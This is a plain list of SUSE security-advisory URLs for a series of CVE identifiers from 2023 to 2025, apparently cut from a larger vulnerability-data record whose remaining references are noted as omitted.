suse.com/security/cve/CVE-2023-43632
suse.com/security/cve/CVE-2023-43633
suse.com/security/cve/CVE-2023-43634
suse.com/security/cve/CVE-2023-43635
suse.com/security/cve/CVE-2023-43636
suse.com/security/cve/CVE-2023-43637
suse.com/security/cve/CVE-2023-47108
suse.com/security/cve/CVE-2024-12886
suse.com/security/cve/CVE-2024-21635
suse.com/security/cve/CVE-2024-25621
suse.com/security/cve/CVE-2024-41260
suse.com/security/cve/CVE-2024-41265
suse.com/security/cve/CVE-2024-44905
suse.com/security/cve/CVE-2024-52284
suse.com/security/cve/CVE-2024-53412
suse.com/security/cve/CVE-2024-58259
suse.com/security/cve/CVE-2024-58260
suse.com/security/cve/CVE-2024-58267
suse.com/security/cve/CVE-2024-58269
suse.com/security/cve/CVE-2024-6717
suse.com/security/cve/CVE-2025-0426
suse.com/security/cve/CVE-2025-10543
suse.com/security/cve/CVE-2025-10545
suse.com/security/cve/CVE-2025-10630
suse.com/security/cve/CVE-2025-10678
suse.com/security/cve/CVE-2025-10954
suse.com/security/cve/CVE-2025-11374
suse.com/security/cve/CVE-2025-11375
suse.com/security/cve/CVE-2025-11393
suse.com/security/cve/CVE-2025-11579
suse.com/security/cve/CVE-2025-11621
Left out here: 1,571 references and the rest of 3 source descriptions. The JSON record has them.